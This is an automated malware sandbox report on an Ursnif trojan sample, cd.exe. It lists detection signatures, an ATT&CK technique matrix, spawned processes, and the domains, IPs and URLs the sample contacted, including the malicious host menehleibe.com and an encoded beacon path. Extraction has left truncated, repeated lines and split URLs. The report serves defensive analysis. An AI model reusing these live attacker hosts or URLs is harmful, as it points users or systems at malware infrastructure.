
ID: 483177
Sample Name: cd.exe
Cookbook: default.jbs
Time: 16:01:46
Date: 14/09/2021
Version: 33.0.0 White Diamond
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Windows Analysis Report cd.exe

Overview

General Information

Sample 
Name:

cd.exe

Analysis ID: 483177

MD5: cd02e745a08dd2…

SHA1: 1a0dd3348bb0f85…

SHA256: a4ff2e7dd35e8f7…

Tags: exe

Infos:

Most interesting Screenshot:

Detection

UrsnifUrsnif

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its o

Detected unpacking (overwrites its oDetected unpacking (overwrites its o……

Yara detected 

Yara detected 

Yara detected 

Yara detected 

Yara detected 

Yara detected 

Yara detected Yara detected Ursnif

Ursnif

Ursnif

Ursnif

Ursnif

Ursnif

UrsnifUrsnif

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE seDetected unpacking (changes PE se……

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMIWrites or reads registry keys via WMI

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Found PSEXEC tool (often used for 

Found PSEXEC tool (often used for 

Found PSEXEC tool (often used for 

Found PSEXEC tool (often used for 

Found PSEXEC tool (often used for 

Found PSEXEC tool (often used for 

Found PSEXEC tool (often used for Found PSEXEC tool (often used for ……

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMIWrites registry values via WMI

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

PE file contains sections with non-s

PE file contains sections with non-s

PE file contains sections with non-s

PE file contains sections with non-s

PE file contains sections with non-s

PE file contains sections with non-s

PE file contains sections with non-sPE file contains sections with non-s……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Yara detected PsExec sysinternal tool

Yara detected PsExec sysinternal tool

Yara detected PsExec sysinternal tool

Yara detected PsExec sysinternal tool

Yara detected PsExec sysinternal tool

Yara detected PsExec sysinternal tool

Yara detected PsExec sysinternal toolYara detected PsExec sysinternal tool

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

PE file contains more sections than 

PE file contains more sections than 

PE file contains more sections than 

PE file contains more sections than 

PE file contains more sections than 

PE file contains more sections than 

PE file contains more sections than PE file contains more sections than ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Classification

Malware Configuration

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

cd.exe (PID: 6888 cmdline: 'C:\Users\user\Desktop\cd.exe'  MD5: CD02E745A08DD29CB6FDA1761B2F4B6E)

iexplore.exe (PID: 4568 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 160 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4568 CREDAT:17410 /prefetch:2 MD5: 

071277CC2E3DF41EEEA8013E2AB58D5A)
cleanup

No configs have been found

Source Rule Description Author Strings

cd.exe JoeSecurity_PsExec Yara detected 
PsExec sysinternal 
tool

Joe Security

Source Rule Description Author Strings

00000001.00000003.408326958.0000000003138000.00000
004.00000040.sdmp

JoeSecurity_Ursnif Yara detected  
Ursnif

Joe Security

00000001.00000003.408240054.0000000003138000.00000
004.00000040.sdmp

JoeSecurity_Ursnif Yara detected  
Ursnif

Joe Security

00000001.00000003.407536237.0000000003138000.00000
004.00000040.sdmp

JoeSecurity_Ursnif Yara detected  
Ursnif

Joe Security

00000001.00000002.429559902.0000000003138000.00000
004.00000040.sdmp

JoeSecurity_Ursnif Yara detected  
Ursnif

Joe Security

00000001.00000003.408480874.0000000003138000.00000
004.00000040.sdmp

JoeSecurity_Ursnif Yara detected  
Ursnif

Joe Security

Process Tree

Yara Overview

Initial Sample

Memory Dumps
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Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Multi AV Scanner detection for submitted file

Machine Learning detection for sample

Compliance:

Detected unpacking (overwrites its own PE header)

Spreading:

Found PSEXEC tool (often used for remote process execution)

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

E-Banking Fraud:

Yara detected Ursnif

System Summary:

Writes or reads registry keys via WMI

Writes registry values via WMI

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Detected unpacking (changes PE section rights)

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Click to see the 5 entries

Source Rule Description Author Strings
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Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Stealing of Sensitive Information:

Yara detected Ursnif

Remote Access Functionality:

Yara detected Ursnif

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation

Defense
Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Remote
Service
Effects

Valid
Accounts

Windows
Management
Instrumentation 2

Path
Interception

Process
Injection 2

Masquerading 1 OS
Credential
Dumping

Security
Software
Discovery 1

Remote
Services

Archive
Collected
Data 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1 1

Eavesdrop on
Insecure
Network
Communication

Remotely
Track Device
Without
Authorization

Default
Accounts

Command and
Scripting
Interpreter 2

Boot or
Logon
Initialization
Scripts

Boot or
Logon
Initialization
Scripts

Process
Injection 2

LSASS
Memory

Process
Discovery 1

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1

Exploit SS7 to
Redirect Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorization

Domain
Accounts

Service
Execution 1

Logon Script
(Windows)

Logon
Script
(Windows)

Obfuscated Files
or Information 2

Security
Account
Manager

File and
Directory
Discovery 1

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-
Application
Layer
Protocol 3

Exploit SS7 to
Track Device
Location

Obtain
Device
Cloud
Backups

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon
Script
(Mac)

Software
Packing 2 3

NTDS System
Information
Discovery 2

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 4

SIM Card
Swap

Behavior Graph
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Behavior Graph

ID: 483177

Sample: cd.exe

Startdate: 14/09/2021

Architecture: WINDOWS

Score: 100

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Multi AV Scanner detection
for submitted file Yara detected  Ursnif 3 other signatures

cd.exe

        started       

iexplore.exe

1 73

        started       

Detected unpacking (changes
PE section rights)

Detected unpacking (overwrites
its own PE header)

Writes or reads registry
keys via WMI

Writes registry values
via WMI

iexplore.exe

41

        started       

menehleibe.com

173.239.8.164, 49737, 49738, 80

WEBAIR-INTERNETUS

United States

p226681.mybetterdl.com

173.192.101.24, 443, 49739, 49740

SOFTLAYERUS

United States

4 other IPs or domains

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

cd.exe 60% ReversingLabs Win32.Trojan.Ursnif

cd.exe 100% Joe Sandbox ML

No Antivirus matches

Source Detection Scanner Label Link Download

1.2.cd.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen8 Download File

1.3.cd.exe.82998c.0.unpack 100% Avira TR/Patched.Ren.Gen Download File

No Antivirus matches

Source Detection Scanner Label Link

www.broofa.com 0% URL Reputation safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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https://www.google.co.uk/intl/en/about/products 0% URL Reputation safe

https://p226681.mybetterdl.com/adServe/domainClick?
ai=qR193HoKV_skvRDJ1Xl7Z2EMSqLSlBmindZv5NojCHOwn03uCMUnWWP1f_rG7YbjKg1peh-
_obzBIj3uZHPpnj9EVoFzCvr6nUsZVZhWVPP-29LJmEHdmZ7b6Qy9a1mHTiLNxNNj-
331YCaynPT02WREUdU8hBvdAVtzW-BnG_JiVnQIGgxQDiU7ugF2M-
yuSZspRWMKjI0oZaL4_NY6BA8B78vhYDGtjMUdyxHqWTbxnarhY6PRQCoyupr1mhPBjhdEqJB6Nj2Xm
DvYXWw9hp-
qFZn5gpnPqtE9sbJicJwX2fEbVjxB9kp2QAzznS8_6fjhgUFt3sQISiZ3D8mF7LCm2HeI0S938_gGwpSXr3t
SAMcY_H2x07HFovOGSDpNKiXhLmiyflhHQ2DhJtv57Pgpt-
TBvcxCEwrLEAaOW_go6oM85zEqQcFJgSFbjHo8VjLddbnKrYw&ui=PmRMc57CnhbNSfHhL5kCGmvi5v
6ZZrF7dLiTNq3P25qokS0sVeF3FkXI0PDyooqap4CS6zytrLbvtEDBZZLJWA-
odODn3W3LTPqV0hvm1VqP--
qZkGGf_8AXd3hExnhV&si=1&oref=a606ca39dc85b39bdaa2bf88832fa198&optunit=SZspRWMKjI3Y6yH
w-JV9WQ&rb=mhdAWEBiphk&rr=1&abtg=0

0% Avira URL Cloud safe

https://rrchnm.org/ 0% Avira URL Cloud safe

menehleibe.com/images/bjM3gVEtKlUeWm2NnKw3/UycpbcugJuZhqNGVGh8/kwk4esZ_2F2xjDYD_2BS
a_/2F328cjxY6AQM/kA5SneVc/JKL1AVTBXoV77D1JaKVgbri/d8lSYHOR5C/_2FOPoUzuMMso_2Bp/A_
2Ffbx4wppa/aSm6IWIjM6R/Y44GbYY.avi

0% Avira URL Cloud safe

www.sysinternals.comWindowPositionSOFTWARE 0% Avira URL Cloud safe

ww9.menehleibe.com/ 0% Avira URL Cloud safe

https://www.virustotal.comPOST4e3202fdbe953d628f650229af5b3eb49cd46b2d3bfe5546ae3c5fa48b554
e0capikey

0% Avira URL Cloud safe

https://www.sysinternals.comntdllRtlInitUnicodeStringNtOpenDirectoryObjectNtQuerySectionNtQueryDire
c

0% Avira URL Cloud safe

www.sysinternals.comopenFolder 0% Avira URL Cloud safe

https://gertrk.com/nlp/index.php?url_bnm_redirect=google.comRoot 0% Avira URL Cloud safe

menehleibe.com/ 0% Avira URL Cloud safe

https://gertrk.com/nlp/index.php?url_bnm_redirect=google.com 0% Avira URL Cloud safe

https://mybetterdl.com/aS/feedclick?s=PmRMc57CnhYhj70e-
I9ky5kfJerKhwxlfSMU3tyux_x5AGZrWUPSJmPzN2c9f2

0% Avira URL Cloud safe

https://gertrk.com/favicon.ico 0% Avira URL Cloud safe

www.sysinternals.comopenConnection 0% Avira URL Cloud safe

www.wikipedia.com/ 0% URL Reputation safe

www.sysinternals.comFileVersionLegalCopyright 0% Avira URL Cloud safe

menehleibe.com/Root 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

google.com 142.250.203.110 true false high

menehleibe.com 173.239.8.164 true true unknown

www.google.com 142.250.102.106 true false high

mybetterdl.com 173.192.101.24 true false unknown

gertrk.com 168.119.139.96 true false unknown

p226681.mybetterdl.com 173.192.101.24 true false unknown

Name Malicious Antivirus Detection Reputation

google.com/ false high

https://p226681.mybetterdl.com/adServe/domainClick?
ai=qR193HoKV_skvRDJ1Xl7Z2EMSqLSlBmindZv5NojCHOwn03uCMUnWWP1f_rG7YbjKg1p
eh-_obzBIj3uZHPpnj9EVoFzCvr6nUsZVZhWVPP-29LJmEHdmZ7b6Qy9a1mHTiLNxNNj-
331YCaynPT02WREUdU8hBvdAVtzW-BnG_JiVnQIGgxQDiU7ugF2M-
yuSZspRWMKjI0oZaL4_NY6BA8B78vhYDGtjMUdyxHqWTbxnarhY6PRQCoyupr1mhPBjhdEq
JB6Nj2XmDvYXWw9hp-
qFZn5gpnPqtE9sbJicJwX2fEbVjxB9kp2QAzznS8_6fjhgUFt3sQISiZ3D8mF7LCm2HeI0S938_
gGwpSXr3tSAMcY_H2x07HFovOGSDpNKiXhLmiyflhHQ2DhJtv57Pgpt-
TBvcxCEwrLEAaOW_go6oM85zEqQcFJgSFbjHo8VjLddbnKrYw&ui=PmRMc57CnhbNSfHhL5
kCGmvi5v6ZZrF7dLiTNq3P25qokS0sVeF3FkXI0PDyooqap4CS6zytrLbvtEDBZZLJWA-
odODn3W3LTPqV0hvm1VqP--
qZkGGf_8AXd3hExnhV&si=1&oref=a606ca39dc85b39bdaa2bf88832fa198&optunit=SZspRW
MKjI3Y6yHw-JV9WQ&rb=mhdAWEBiphk&rr=1&abtg=0

false Avira URL Cloud: safe unknown

Domains and IPs

Contacted Domains

Contacted URLs
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General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 483177

Start date: 14.09.2021

Start time: 16:01:46

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 7m 10s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: cd.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

22

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.spre.troj.evad.winEXE@4/27@6/5

EGA Information: Failed

HDC Information: Successful, ratio: 46.1% (good quality ratio 43.4%)
Quality average: 71.3%
Quality standard deviation: 30.3%

HCA Information: Failed

menehleibe.com/images/bjM3gVEtKlUeWm2NnKw3/UycpbcugJuZhqNGVGh8/kwk4esZ_2F2x
jDYD_2BSa_/2F328cjxY6AQM/kA5SneVc/JKL1AVTBXoV77D1JaKVgbri/d8lSYHOR5C/_2FO
PoUzuMMso_2Bp/A_2Ffbx4wppa/aSm6IWIjM6R/Y44GbYY.avi

true Avira URL Cloud: safe unknown

menehleibe.com/ true Avira URL Cloud: safe unknown

https://www.google.com/images/searchbox/desktop_searchbox_sprites318_hr.png false high

https://gertrk.com/nlp/index.php?url_bnm_redirect=google.com false Avira URL Cloud: safe unknown

https://www.google.com/?gws_rd=ssl false high

https://www.google.com/gen_204?
ei=rKtAYY2rHY25kwWZrp3YAw&vet=10ahUKEwiNsaLc0P7yAhWN3KQKHRlXBzsQhJAHCB
Q..s&gl=GB&pc=SEARCH_HOMEPAGE&isMobile=false

false high

https://gertrk.com/favicon.ico false Avira URL Cloud: safe unknown

https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png
false high

www.google.com/ false high

Name Malicious Antivirus Detection Reputation

IP Domain Country Flag ASN ASN Name Malicious

173.192.101.24 mybetterdl.com United States 36351 SOFTLAYERUS false

173.239.8.164 menehleibe.com United States 27257 WEBAIR-INTERNETUS true

142.250.102.106 www.google.com United States 15169 GOOGLEUS false

142.250.203.110 google.com United States 15169 GOOGLEUS false

168.119.139.96 gertrk.com Germany 24940 HETZNER-ASDE false

URLs from Memory and Binaries

Contacted IPs

Public

Copyright Joe Security LLC 2021 Page 10 of 59



Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

No simulations

Match Associated Sample Name / URL SHA 256 Detection Link Context

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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173.192.101.24 bd.exe Get hash malicious Browse  beta.info
picked.com
/adServe/d
omainClick?
ai=qR193H
oKV_skvRDJ
1Xl7Z2EMSq
LSlBmindZv
5NojCHOwn0
3uCMUnWWP1
f_rG7YbjKg1peh-
_obzBIj3uZHPpnj
9EVoFzCvr6
nUsZVZhWVPP-
29LJmEHd
mZ7b6Qy9a1
mHTiLNxNNj-
331YCaynP
T02WREUdU8
hBvdAVtzW-
BnG_JiVnQI
GgxQDiU7ug
F2M-yuSZsp
RWMKjI0oZa
L4_NY6BA8B
78vhYDGtmWx-
JgfNp8fk
dmcFZuMS2b
N6VPfgxnTo
jhdEqJB6Nj
2XmDvYXWw9
hp-qFZn5gp
nPqtE9sbJi
cJwX2fEbVj
xB9kp2QAzz
nS8_6fjhgU
Ft3sQISiZ3
D8mF7LCm2H
eI0S938_gG
wpSXr3tSAM
cY_H2x07HF
ovOGSDpNKi
XhLmiyflhH
Q2DhJtv57A
ionTQ8bleb
&ui=PmRMc5
7CnhZmet5W
PylI9zrmsY
Rj0uaPIWm6
xrw_nb0SEt
JxK6jg1-R2
ZwVm4xLZE0
b7pS83W6Ya
s2zgiGSg85
AisrUbUMiR
cioqsL61NR
4CN7TWsk0w
BvY9u5-Nht
U4&si=1&or
ef=a606ca3
9dc85b39bd
aa2bf88832
fa198&optu
nit=SZspRW
MKjI3Y6yHw-
JV9WQ&rb=
9IwXRgUAF1
M&rr=1

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/293685/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293685/html/none?idtype=webid


googledrive-eu.com Get hash malicious Browse  p277439.i
nfopicked.
com/adServ
e/domainClick?
ai=wTe
BxKdiv_bj6z-
4DR5E65O
m8Nyxc9lLg
DRCoHPU9NB
icoOwyuqkH
X7tQ5ixhcb
dO43wquhAS
6JPCleYyIg
bBD8dxhdEm
IryMx2af8H
v1J4PdhGn3
_C1PnzMxTS
W33E-llpg4
FhZfxSND2Y
fpRIsxCN5E
CptO-en_Tt
BhjTW1e4N8
EoRnnpLDGJ
WdAgaDFAOJ
Tu6AXYz7K5
cexTb7nMLv
ihXId0SfCJ
tlz2vc8v2B
fZTSkSKGXD
cd1kMKtaMb
p0webbtBQa
atSvVCW9Uo
LTzK2_T5x_
FGAdpIKKNl
j9I1Bp0zkQ
JR4Qsl-RCa
NkT3qyOnwM
9sZtI20k3Q
kkpNB0KG6O
IZhD5UZ8zU
EpDz_87Jci
Bp9n2wO8e3
QXL0tt9b_p
24Wg6c98G2
nieKTEQPOd
aBRbRh5WhN
0Axej_wmAi
UbeoWBGu3Y
x722HW3MQ4
Jbibrdzc61
NAyifxeMfd
4XJSYEmWSQ
sQHXjql&ui
=PmRMc57Cn
hbRNq-TBmz
5rmvi5v6ZZ
rF7dLiTNq3
P25qokS0sV
eF3FlOVRgiHRE-
gWcczl
lSM9qgw3K_
Z4UCDYDvbC
D0sgkK00pnF-
XkSy14jd
vC7dnR3QuD
XAcvgtM3N&
si=1&oref=
d3c2837da0
e02e3a4a67
f0afabcb87
12&rb=l5kJ
6TEqV6Y&rr=1

gmai.com Get hash malicious Browse  p274639.i
nfopicked.
com/adServ
e/domainClick?
ai=wTe
BxKdiv_bj6z-
4DR5E6xE
oCdmKM2i2i
tqUFM3cxKZ
YM31tGvFsh
RVBfwgcwSI
iaJSoHKlvP
xdNp7vy8YX
GsMns6Df7o
RybsY9D8Fp
X5xXXwFLie
H0IEz_o6s7

Match Associated Sample Name / URL SHA 256 Detection Link Context

Copyright Joe Security LLC 2021 Page 13 of 59

https://view.joesandbox.com/analysis/234557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234557/html/none?idtype=webid
https://view.joesandbox.com/analysis/229518/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229518/html/none?idtype=webid


g2k6EolaQU
UnA7tx74Pq
tXJ6yjKWCf
hwmY7tiPzq
Qd_9c7Nz7_
deqVUfhKj9
LOjAbBU0w9
s1FJjK7Xdq
fipjGQI8NY
SPScuAGqUx
Ou5W03dkQwtz-
1BBzH34
Ghx8OeU68Sh-
0qMisWws
nsRTFQydG-
o1iiY0bYtX
dmST4t339P
0t9BdbFMax
CA71Y2ZKLb
00dKXPsXz3
e5THWm8NLv
U4DgzxU7oE
LQUCi9EwvE
u0xav9AhnN
tSlTzAXMMaK-
E3pdZNPt
rmvcKloq3l
jx72dgE1Eq
N18XAlvPip
FFdLRyeNHY
RonzxoHMJA
vHLEx4O86l
9TsgMB8kLl
j2YWOD6kJH
YP0Z1xw8Yw
Xeup9uWFBs
az2ZtXf7Us
LWtjriNqAz
x4ryjhh5cU
z58YyNIMKj
MdaMSZO0oo
vTfS1nQkid
SOTYMxMWpR
MSrecONlST
Mew0oepz2Z
i4ecsHBbCH
LXfbIzzh0h
p6ogG1OROAK-
90QEdFQm
YDGFbwCvLH
M1MhvxQM-J
r3Q9J-0-T0
AvjbOx9FD-
IoRiWjmF-W
JdLgktdb-B
ry3DbhZYzC
Ksmr293i_2
kv7EJ8xQvi
aeyZeB4t_sup98-
6a8J6
sXvu6GrQUy
2lUDwHvy-F
gMa2dJRr0Y
4699nHYG0E
CC42CTtTDU
Um7QlCOF0S
okHo2PZeYO
9hdbD2Gn6o
VmfmCmc-q0
T2xsmJwnBf
Z8RtWPEH2S
nZADPOdLz_p-
OGBQW3ex
AhKJncPyYX
ssKbYd4jRL3fz-
AbClJeve1IAxxj8f
bHTscWi84Z
IOk0qJeEuaLJ-
WEdDYOE
m2_ns-Cm35
MG9zEITCss
QBo5b-J90l
2Jq1JkDHlQ
N2ppG_WR-Z
YbsoV1-iQ&
ui=PmRMc57
CnhbRNq-TB
mz5rmvi5v6
ZZrF7dLiTN
q3P25qokS0

Match Associated Sample Name / URL SHA 256 Detection Link Context
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sVeF3Fry_q
NuucoukvpC
3j9OzjMwCw
DxGb5zVq_3
RdaMKw61U5
oZDpdwX-vC
hk6YI0eMu_
tzwOsQ3jFP
U&si=1&ore
f=b5cb6264
7ccd822d6f
8e50f92307
4cca&rb=9M
hxuiNtoYc&rr=4

gmai.com Get hash malicious Browse  p274639.i
nfopicked.
com/adServ
e/domainClick?
ai=wTe
BxKdiv_bj6z-
4DR5E6xE
oCdmKM2i2i
tqUFM3cxKZ
YM31tGvFsh
RVBfwgcwSI
iaJSoHKlvP
xdNp7vy8YX
GsMns6Df7o
RybsY9D8Fp
X5xXXwFLie
H0IEz_o6s7
g2k6EolaQU
UnA7tx74Pq
tXJ6yjKWCf
hwmY7tiPzq
Qd_9c7Nz7_
deqVUfhKj9
LOjAbBU0w9
s1FJjK7Xdq
fipjGQI8NY
SPScuAGqUx
Ou5W03dkQwtz-
1BBzH34
Ghx8OeU68Sh-
0qMisWws
nsRTFQydG-
o1iiY0bYtX
dmST4t339P
0t9BdbFMax
CA71Y2ZKLb
00dKXPsXz3
e5THWm8NLv
U4DgzxU7oE
LQUCi9EwvE
u0xav9AhnN
tSlTzAXMMaK-
E3pdZNPt
rmvcKloq3l
jx72dgE1Eq
N18XAlvPip
FFdLRyeNHY
RonzxoHMJA
vHLEx4O86l
9TsgMB8kLl
j2YWOD6kJH
YP0Z1xw8Yw
Xeup9uWFBs
az2ZtXf7Us
LWtjriNqAz
x4ryjhh5cU
z58YyNIMKj
MdaMSZO0oo
vTfS1nQkid
SOTYMxMWpR
MSrecONlST
Mew0oepz2Z
i4ecsHBbCH
LXfbIzzh0h
p6ogG1OROAK-
90QEdFQm
YDGFbwCvLH
M1MhvxQM-J
r3Q9J-0-T0
AvjbOx9FD-
IoRiWjmF-W
JdLgktdb-B
ry3DbhZYzC
Ksmr293i_2
kv7EJ8xQvi
aeyZeB4t_sup98-
6a8J6

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/228378/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228378/html/none?idtype=webid


sXvu6GrQUy
2lUDwHvy-F
gMa2dJRr0Y
4699srbw9m
tZgrjyUIOD
weMYzSOF0S
okHo2PZeYO
9hdbD2Gn6o
VmfmCmc-q0
T2xsmJwnBf
Z8RtWPEH2S
nZADPOdLz_p-
OGBQW3ex
AhKJncPyYX
ssKbYd4jRL3fz-
AbClJeve1IAxxj8f
bHTscWi84Z
IOk0qJeEuaLJ-
WEdDYOE
m2_ns-Cm35
MG9zEITCss
QBo5b-J90l
2Jq1JkDHlQ
N2ppG_WR-Z
YbsoV1-iQ&
ui=PmRMc57
CnhbRNq-TB
mz5rmvi5v6
ZZrF7dLiTN
q3P25qokS0
sVeF3FtUhi
XJXLsYxMhF
eZ6GzpbcHO
5T_IzFmDsk
2mKOvgam7K
Nx7DEtdwqy
zvQ01XOfnL
UDBLVV8fyf
O&si=1&ore
f=b5cb6264
7ccd822d6f
8e50f92307
4cca&rb=9M
hxuiNtoYc&rr=4

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://www.dropbox.com/l/AACILqMf9nyLCBAtI7us4fP05O8j
3-IIsZk

Get hash malicious Browse  p201298.i
nfopicked.
com/adServ
e/domainClick?
ai=tc1rih9sOqNfP
1gUl40WUyx
E1tL35KQG6
mcDWb1ymyF
yGbZwcjod1
9w4XXFDhRy
JM_vdhK8fO
fximboYDKv
IMRNecs-9v
JK1f_1vyTL
YjVsoLuBAI
S3oVWWp__r
iXRnq0DWdz
hFkQSpCpWA
yb0MJAlWEg
quv7OhpYlZ
0CBoMUA4lO
7oBdjPsrri
Ng4LYnwwf4
nPYRZQZH5I
O9LAo7hxx0
WQBCYiu7z8
45W7li_6fZH-
9MsT1-H1
cyo4XRKiQe
jY9l5g72F1
sPYafqhWZ-
YKZz6rRPbG
yYnCcF9nxG
1Y8QfZKdkA
M850vP-n44
YFBbd7ECEo
mdw_Jheywp
th3iNEvd_P
4BsKUl697U
gDHGPx9sdM
YzX4lBaMB8
B6zoNOefoP
FbWnaHeEFB
uddA-e5aUF
qZsS33aYyB
WDD&ui=PmR
Mc57CnhZNx2-
o7kzoFGv
i5v6ZZrF7d
LiTNq3P25q
okS0sVeF3F
gIfyWa1KjR
FD7U05ElUS
1733VMX424
8OM9CgRUyB
bBdvbiQ9YQ
spaHvEpnNj
BMu8mVfwbM
1mIV5&si=1
&oref=b981
2287633182
c823f05a44
aaa5a5eb&rb=E-
qvs9aXu7s&rr=1

youbue.com Get hash malicious Browse  p185689.i
nfopicked.
com/adServ
e/domainClick?
ai=cfld0oJoDcfR6
uRdi2bghJM
xDaNza9axH
5GeQZZdakn
yu9xZSapW4
5CZLyIu0ya
AozbmsFxFi
HlLE1DkoAy
S7GGlpT_n3
RR6JKcLhbE
riZaMPAToK
0OwtWc0_11
5PM2yd6H1v
sC5A5N3KCm
XEpa9xDVwJ
2AuHbWvS8U
kI2fN5XgXS
TtSOLKFouP
wMqcAj9tGe
wOJi7aKKtV

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/210684/html/none?idtype=webid#static
